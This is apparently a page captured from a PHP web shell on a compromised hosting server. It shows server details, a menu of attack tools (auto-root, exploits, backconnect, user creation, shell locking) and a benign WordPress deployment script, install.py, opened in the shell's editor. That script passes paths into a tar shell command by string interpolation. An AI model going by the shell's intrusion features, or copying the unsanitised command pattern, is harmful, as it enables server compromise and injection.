Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
bin /
dhwp /
dhwp /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
0
B
-rw-rw-r--
base.py
865
B
-rw-rw-r--
install.py
7.57
KB
-rw-rw-r--
metrics.py
3.85
KB
-rw-rw-r--
stage.py
6.99
KB
-rw-rw-r--
test.py
3.28
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : install.py
import random import string import re import os import sys import yaml from cement import App, Controller, ex from cement import shell from dhwp.core.wordpress import Wordpress from dhwp.core.curl import fetch class Install(Controller): class Meta: label = 'wordpress' arguments = [ (['-p', '--path'], {'help': 'path to wordpress install', 'action': 'store', 'dest': 'path', }), (['-c', '--config'], {'help': 'path to dhwp wordpress config', 'action': 'store', 'dest': 'config_file', }), ] def load_config(self): data = dict() if self.app.pargs.config_file: with open(self.app.pargs.config_file) as f: data = yaml.safe_load(f) for arg in vars(self.app.pargs): value = getattr(self.app.pargs, arg) if value: data[arg] = value self.app.log.debug("Configuration %s" % data) return data @ex( help='Download and extract wordpress', arguments=[ (['--source'], {'help': 'wordpress source url, zip format only (optional)', 'action': 'store', 'dest': 'download_source', }), (['--package'], {'help': 'wordpress package (created by dhwp)', 'action': 'store', 'dest': 'wordpress_package', }), ] ) def download(self): config = self.load_config() wp = Wordpress(self.app.pargs.path) if 'download_source' in config: wp.download_source(config['download_source']) elif 'wordpress_package' in config: wp.download_package(config['wordpress_package']) else: wp.cli('core download') @ex( help='create a new WP install', arguments=[ (['--url'], {'help': 'site url', 'action': 'store', 'dest': 'url'}), (['--title'], {'help': 'site title', 'action': 'store', 'dest': 'title'}), (['--admin_user'], {'help': 'admin username', 'action': 'store', 'dest': 'admin_user'}), (['--admin_password'], {'help': 'admin password', 'action': 'store', 'dest': 'admin_password'}), (['--admin_email'], {'help': 'admin email', 'action': 'store', 'dest': 'admin_email'}), ] ) def install(self): wp = Wordpress(self.app.pargs.path) config = self.load_config() self.app.log.info('installing wordpress') wp.cli('core install', url=self.app.pargs.url, title=self.app.pargs.title, admin_user=self.app.pargs.admin_user, admin_password=self.app.pargs.admin_password, admin_email=self.app.pargs.admin_email, skip__email=True ) self.extras() if 'post_install' in config: for cli_command in config['post_install']['wpcli']: self.app.log.info("exec post install command %s" % cli_command) wp.cli(cli_command) @ex( help='configure a WP install', arguments=[ (['--dbname'], {'help': 'database name', 'action': 'store', 'dest': 'dbname'}), (['--dbuser'], {'help': 'database username', 'action': 'store', 'dest': 'dbuser'}), (['--dbpass'], {'help': 'database password', 'action': 'store', 'dest': 'dbpass'}), (['--dbhost'], {'help': 'database host', 'action': 'store', 'dest': 'dbhost'}), (['--dbprefix'], {'help': 'database prefix', 'action': 'store', 'dest': 'dbprefix'}), ] ) def configure(self): wp = Wordpress(self.app.pargs.path) self.app.log.info('configuring wordpress install') if not self.app.pargs.dbprefix: self.app.pargs.dbprefix = 'wp_' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=6)) + '_' wp.cli('config create', dbname=self.app.pargs.dbname, dbuser=self.app.pargs.dbuser, dbpass=self.app.pargs.dbpass, dbhost=self.app.pargs.dbhost, dbprefix=self.app.pargs.dbprefix, skip__check=True, force=True, ) @ex( help='Package WP install for deployment', arguments=[ (['-n', '--package-name'], {'help': 'name of pacakge', 'action': 'store', 'dest': 'package_name'}), ] ) def package(self): config = self.load_config() wp = Wordpress(self.app.pargs.path) cwd = os.getcwd() pkg_file = "%s/%s.tar.gz" % (cwd, self.app.pargs.package_name) sql_file = "%s/inital.sql" % wp.path wp.cli('db export ' + sql_file) cmd = "cd %s && tar --exclude .git -zcvf %s ." % (wp.path, pkg_file) out, err, code = shell.cmd(cmd) if code > 0: self.app.log.fatal("error creating pacakge %s : %s" % (out, err)) sys.exit(1) @ex( help='Install extras (plugins, themes, etc)', ) def extras(self): config = self.load_config() wp = Wordpress(self.app.pargs.path) if not wp.is_installed(): self.app.log.fatal( "WordPress is not fully installed yet, cannot install extras") sys.exit(1) for item_type in ('plugin', 'theme'): if item_type not in config: continue for item in config[item_type]: options = config[item_type][item] install_name = item command = "" if 'location' in options: install_name = options['location'] if 'no-verify' in options: wp.download_extra(install_name, "/wp-content/{item_type}s".format(item_type=item_type)) if 'activate' in options: if options['activate'] is True: command = "{item_type} activate {item_name}".format(item_type=item_type, item_name=item) else: command = "%s install %s" % (item_type, install_name) if 'version' in options: command = "%s --version=%s" % (command, options['version']) # TODO can i activate things right now???? if 'activate' in options: if options['activate'] is True: command = "%s --activate" % command self.app.log.info("installing %s %s" % (item_type, item)) if command: wp.cli(command) @ex( help='Update a WP install', ) def update(self): print('Updating WordPress') @ex( arguments=[ (['--foo'], dict(action='store_true')), (['--not-bar'], dict(action='store_true')), ] ) def command1(self): data = "" if self.app.pargs.foo and self.app.pargs.not_bar: data = dict(foo="not-bar") else: data = dict(foo="bar") self.app.render(data, 'test.m')
Close